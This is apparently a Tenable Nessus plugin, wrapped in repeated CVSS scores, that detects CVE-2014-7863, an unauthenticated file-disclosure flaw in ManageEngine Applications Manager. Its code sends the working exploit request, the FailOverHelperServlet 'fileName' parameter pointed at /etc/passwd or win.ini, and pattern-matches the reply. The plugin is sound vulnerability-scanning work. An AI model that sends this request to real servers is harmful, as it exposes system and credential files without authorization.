CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS
Percentile
100.0%
The version of ManageEngine Applications Manager running on remote web server is affected by a file disclosure vulnerability due to a failure to properly sanitize user-supplied input to the ‘fileName’ parameter of the FailOverHelperServlet script. A remote, unauthenticated attacker, using a crafted request, can exploit this to view arbitrary files.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(84017);
script_version("1.10");
script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_cve_id("CVE-2014-7863");
script_bugtraq_id(74402);
script_name(english:"ManageEngine Applications Manager FailOverHelperServlet 'fileName' Parameter Arbitrary File Disclosure");
script_summary(english:"Attempts to read a local file.");
script_set_attribute(attribute:"synopsis", value:
"The remote web server is running an application that is affected by an
information disclosure vulnerability.");
script_set_attribute(attribute:"description", value:
"The version of ManageEngine Applications Manager running on remote
web server is affected by a file disclosure vulnerability due to a
failure to properly sanitize user-supplied input to the 'fileName'
parameter of the FailOverHelperServlet script. A remote,
unauthenticated attacker, using a crafted request, can exploit this to
view arbitrary files.");
script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2015/Jan/114");
script_set_attribute(attribute:"see_also", value:"https://www.manageengine.com/products/applications_manager/issues.html");
script_set_attribute(attribute:"solution", value:
"Upgrade to Applications Manager version 11 Build 11912.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:ND");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2015/01/28");
script_set_attribute(attribute:"patch_publication_date", value:"2015/01/28");
script_set_attribute(attribute:"plugin_publication_date", value:"2015/06/08");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:manageengine:applications_manager");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2015-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("manageengine_applications_manager_detect.nasl");
script_require_keys("installed_sw/ManageEngine Applications Manager");
script_require_ports("Services/www", 9090);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");
app = "ManageEngine Applications Manager";
get_install_count(app_name:app, exit_if_zero:TRUE);
port = get_http_port(default:9090);
install = get_single_install(
app_name : app,
port : port
);
dir = install['path'];
install_url = build_url(port:port, qs:dir);
# Establish a session first
res = http_send_recv3(
method : "GET",
port : port,
item : dir,
exit_on_fail : TRUE
);
dir = dir - "/index.do";
url = "/servlet/FailOverHelperServlet?operation=copyfile&fileName=";
# Determine what to look for.
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
if ("Windows" >< os)
files = make_list('/windows/win.ini','/winnt/win.ini');
else
files = make_list('/etc/passwd');
}
else files = make_list('/etc/passwd', '/windows/win.ini', '/winnt/win.ini');
file_pats = make_array();
file_pats['/etc/passwd'] = "root:.*:0:[01]:";
file_pats['/winnt/win.ini'] = "^\[[a-zA-Z\s]+\]|^; for 16-bit app support";
file_pats['/windows/win.ini'] = "^\[[a-zA-Z\s]+\]|^; for 16-bit app support";
vuln = FALSE;
foreach file (files)
{
res = http_send_recv3(
method : "POST",
port : port,
item : dir + url + file,
data : '',
exit_on_fail : TRUE
);
if (egrep(pattern:file_pats[file], string:res[2]))
{
vuln = TRUE;
break;
}
}
if (!vuln)
audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);
security_report_v4(
port : port,
severity : SECURITY_WARNING,
file : file,
request : make_list(http_last_sent_request()),
output : chomp(res[2]),
attach_type : 'text/plain'
);
exit(0);
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS
Percentile
100.0%